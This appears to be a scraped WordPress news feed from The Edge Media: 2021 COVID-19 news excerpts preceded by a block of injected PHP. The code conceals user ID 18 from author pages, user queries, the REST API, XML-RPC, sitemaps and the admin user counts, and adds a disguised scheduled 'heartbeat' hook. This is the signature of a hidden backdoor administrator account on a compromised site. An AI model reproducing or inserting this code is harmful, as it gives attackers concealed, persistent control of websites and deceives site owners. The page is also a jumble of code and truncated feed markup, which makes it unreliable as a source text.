add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post New Zealand Reports First Death Linked To Pfizer COVID-19 Vaccine appeared first on The Edge Media.
]]>The information was released by the health ministry following a review by an independent COVID-19 vaccine safety monitoring board of the death of a woman after receiving the vaccine. The ministry’s statement did not give the woman’s age.
The board considered that the woman’s death was due to myocarditis, which is known to be a rare side effect of the Pfizer COVID-19 vaccine, the statement said. Myocarditis is an inflammation of the heart muscle that can limit the organ’s ability to pump blood and can cause changes in heartbeat rhythms.
The post New Zealand Reports First Death Linked To Pfizer COVID-19 Vaccine appeared first on The Edge Media.
]]>The post 32,937 New Cases have been reported in India, including 417 deaths appeared first on The Edge Media.
]]>Across the country, 3,14,11,924 people have recovered, with 35,909 persons recuperating in the last 24 hours. The recovery rate is currently at 97.48 percent, the highest since March 2020, according to the health ministry.
According to the most recent figures, 54.58 crore vaccine doses have been distributed across the country, with 1743114 doses administered in the last 24 hours.
The post 32,937 New Cases have been reported in India, including 417 deaths appeared first on The Edge Media.
]]>The post A 90-year-old woman dies after she was infected with two variants at the same time in Belgium. appeared first on The Edge Media.
]]>The woman was not vaccinated and she lived alone and received at-home nursing care, was admitted to the OLV hospital in the Belgian city of Aslat after a spate of falls in March and tested positive for the Covid-19 the same day.
While her oxygen levels were initially good, her condition deteriorated rapidly and she died five days later.
Vankeerberghen, the molecular biologist from OLV hospital said it was difficult to say whether the co-infection played a role in the fast deterioration of the patient.
The post A 90-year-old woman dies after she was infected with two variants at the same time in Belgium. appeared first on The Edge Media.
]]>The post Zydus Covid vaccine for kids above 12 to come up for approval this week. appeared first on The Edge Media.
]]>The regulator’s subject expert committee (SEC) will examine data submitted by Cadila.
The vaccine has been tested on adults as well as children above 12 and if the regulatory committee is satisfied with the submitted data and documents, the vaccine will be approved for emergency use soon, officials said. An approval can hasten the opening of schools although vaccine supply will remain a concern.
If the SEC finds the phase 3 data submitted by the company satisfactory, the emergency use authorization for the vaccine can be granted this week itself.
The post Zydus Covid vaccine for kids above 12 to come up for approval this week. appeared first on The Edge Media.
]]>The post UP CM Yogi Adityanath visits Gautam Buddh Nagar to a review Covid facilities, vaccination drive appeared first on The Edge Media.
]]>Addressing the media on Sunday afternoon, Adityanath said that the government was strengthening Covid measures and making preparations to tackle the third wave of the pandemic whenever it hits. The CM’s visit is a part of a state-wide review of the Covid situation in various districts.
Adityanath said that 8,000 rapid response teams are working across the state to trace infections and prevent the virus from spreading. He also visited the Indira Gandhi Kala Kendra where a vaccination drive for media persons is taking place.
The focus of the CM’s visit will be on Covid management in rural areas including Jewar and Bisrakh among other villages. Adityanath will also interact with health officials and members of the administration to review testing facilities in these areas.
The post UP CM Yogi Adityanath visits Gautam Buddh Nagar to a review Covid facilities, vaccination drive appeared first on The Edge Media.
]]>